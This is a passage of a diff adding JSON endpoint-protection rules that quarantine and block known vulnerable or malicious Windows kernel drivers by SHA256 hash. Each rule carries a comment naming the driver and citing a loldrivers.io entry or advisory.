+  "last_update": "2026-03-23T11:45:30.477055Z",
+  "creation_date": "2026-03-23T11:45:30.477058Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.477067Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e0e65416f40cf3bea00d77515a7d8ab508d3aa2b7b622a8799a49635c4d5dbb5",
+  "comment": "Vulnerable Kernel Driver (aka libnicm.sys) [https://www.loldrivers.io/drivers/2b949a0d-939f-456a-a34f-4589d7712227/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e7ea15a4-f24f-50bb-b25b-5d64d2e1f9e9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809063Z",
+  "creation_date": "2026-03-23T11:45:31.809065Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809071Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0213810e01cabf7f296d17d4bdd768a644ac5ed46ed03428c45fa986a0ece28e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e7ea4f9a-1560-50f9-9a13-0b54c0ad1e4e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155701Z",
+  "creation_date": "2026-03-23T11:45:31.155703Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155708Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1d687eab6e49d5157a820ca9a4788a2cb594c8311a36d0f6b53330adbbd2ed10",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e7ea84e6-c805-5533-9402-7e040d02d78f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810380Z",
+  "creation_date": "2026-03-23T11:45:31.810382Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810387Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "63099e522e7971f91099d1d050e054399d21920b3d843b0553ea054d5488deb1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e7f9fd54-2ac6-53a8-8900-220e3a0f8acb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608138Z",
+  "creation_date": "2026-03-23T11:45:29.608140Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608145Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0f4a442256f785969f8e1325bb98612da17528e76110bb8112cae78e3edcd547",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e810845b-3b8d-5846-ac21-20148bc42b6f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974069Z",
+  "creation_date": "2026-03-23T11:45:29.974092Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974098Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ec5fac0b6bb267a2bd10fc80c8cca6718439d56e82e053d3ff799ce5f3475db5",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e811aeb0-5f41-5992-ba3a-e03f8322daa6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827311Z",
+  "creation_date": "2026-03-23T11:45:31.827313Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827319Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "697df9f2cbd118088a334949a493bb51f5fc6354aa62d61e4143a5d1debbd3c0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e8125746-588c-5e5f-b989-c965156d098a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143060Z",
+  "creation_date": "2026-03-23T11:45:32.143062Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143067Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1f8812611cf7120e89e769cc908fabc0c9e49b27fded8dde6a3de51d9ce34f09",
+  "comment": "Vulnerable Kernel Driver (aka msr.sys) [https://www.loldrivers.io/drivers/ee6fa2de-d388-416c-862d-24385c152fad/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e81ffaaa-455f-5271-b5ea-0e77a57f8257",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.830274Z",
+  "creation_date": "2026-03-23T11:45:31.830276Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.830281Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "95bbc68071b6918824caee3737b1810ee48ac96940de4ff18dd237ea6aa36039",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e835c41b-1d2a-5ea6-98d8-4c5e4bb56e7d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621616Z",
+  "creation_date": "2026-03-23T11:45:29.621618Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621624Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a7860e110f7a292d621006b7208a634504fb5be417fd71e219060381b9a891e6",
+  "comment": "ASUSTeK GPU vulnerable physmem driver (aka AsIO2_64.sys) [https://syscall.eu/blog/2020/03/30/asus_gio/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e849a909-7f91-548a-a58b-819972b77812",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144707Z",
+  "creation_date": "2026-03-23T11:45:32.144709Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144715Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8da085332782708d8767bcace5327a6ec7283c17cfb85e40b03cd2323a90ddc2",
+  "comment": "Malicious Kernel Driver (aka windivert.sys) [https://www.loldrivers.io/drivers/45a31a17-f78d-48ec-beba-74f6bfc5f96e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e84a8e81-2ed7-5760-b592-6e09412e23ae",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.478983Z",
+  "creation_date": "2026-03-23T11:45:31.478987Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.478997Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "569b0bba367c867eb1236fe0a901dbebef28bf1ecd5c9a1191c6b8189e929937",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e864ad60-26d2-508a-8ce3-1a24485ee528",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808486Z",
+  "creation_date": "2026-03-23T11:45:31.808488Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808494Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "671f71f285dcbb8320d7516b52e0bc7842b0a218a0102a516780cb64715ab300",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e865fde4-baf7-54d8-a30e-9a46face5248",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159067Z",
+  "creation_date": "2026-03-23T11:45:31.159069Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159074Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ff3f0bb2e78344e83dcddd3c7d327f2014724b0ded0c2c3f0de6bdfe8c134847",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e87baac3-a164-5029-82f1-a0e2f001d2ac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.475159Z",
+  "creation_date": "2026-03-23T11:45:30.475162Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.475171Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "73327429c505d8c5fd690a8ec019ed4fd5a726b607cabe71509111c7bfe9fc7e",
+  "comment": "Vulnerable Kernel Driver (aka bs_rcio64.sys) [https://www.loldrivers.io/drivers/cacf18a5-6d7d-4a63-92d4-bda386a3da18/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e8973e79-e57d-5534-8f85-168cd87bbb18",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821183Z",
+  "creation_date": "2026-03-23T11:45:31.821186Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821195Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bf79ce5b627fa50bb6f20c54edc8cbfa258bd0614efd921976310cf1d395e80b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e898c861-d93c-5962-a9e4-9a570f592ff5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144147Z",
+  "creation_date": "2026-03-23T11:45:32.144149Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144154Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "44ebb0f534e7cdfec06d5234358d219798a313219b214d72aa23afc5a57d7ea9",
+  "comment": "Malicious Kernel Driver (aka idmtdi.sys) [https://www.loldrivers.io/drivers/c2e98102-2055-48f0-9449-3e7a7f2c0ffe/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e8a348f0-0072-54cd-a187-ecbd9bfcda1f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611010Z",
+  "creation_date": "2026-03-23T11:45:29.611012Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611018Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "55e3b977402be076bfafe332a3fb29ddb6b02edf932d02e963df09adbe89eb91",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e8a79c99-57d0-55ec-9340-ab168040d4c3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830385Z",
+  "creation_date": "2026-03-23T11:45:30.830387Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830393Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "87f8155a5a32e2623d124f29e7391bfb2971b8abe02786066917b950af70a0f9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e8aa54b9-d19b-588a-a0e9-35113f2afd58",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.474580Z",
+  "creation_date": "2026-03-23T11:45:31.474585Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.474596Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5e5dd268969e13f3af9bdb3c0e7b9a29746d3ae03adefe5457c1d96677395692",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e8be7a3f-aaa8-5389-9542-07d0d46cda35",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.816678Z",
+  "creation_date": "2026-03-23T11:45:31.816682Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.816691Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6594141aa7f1da404985aa30bb9b063624195dcd3068d73926ec7170d2ec9e82",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e8d4232a-8ca2-5610-ab44-ff9811a36c4d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.483244Z",
+  "creation_date": "2026-03-23T11:45:31.483248Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.483257Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "32d0ad55f7796709b8c48a94aa442f1d9b00d1352a5f211ad306be35f8b0c807",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e8da4589-d1f2-5eaf-b846-18d806d03117",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810485Z",
+  "creation_date": "2026-03-23T11:45:31.810487Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810493Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
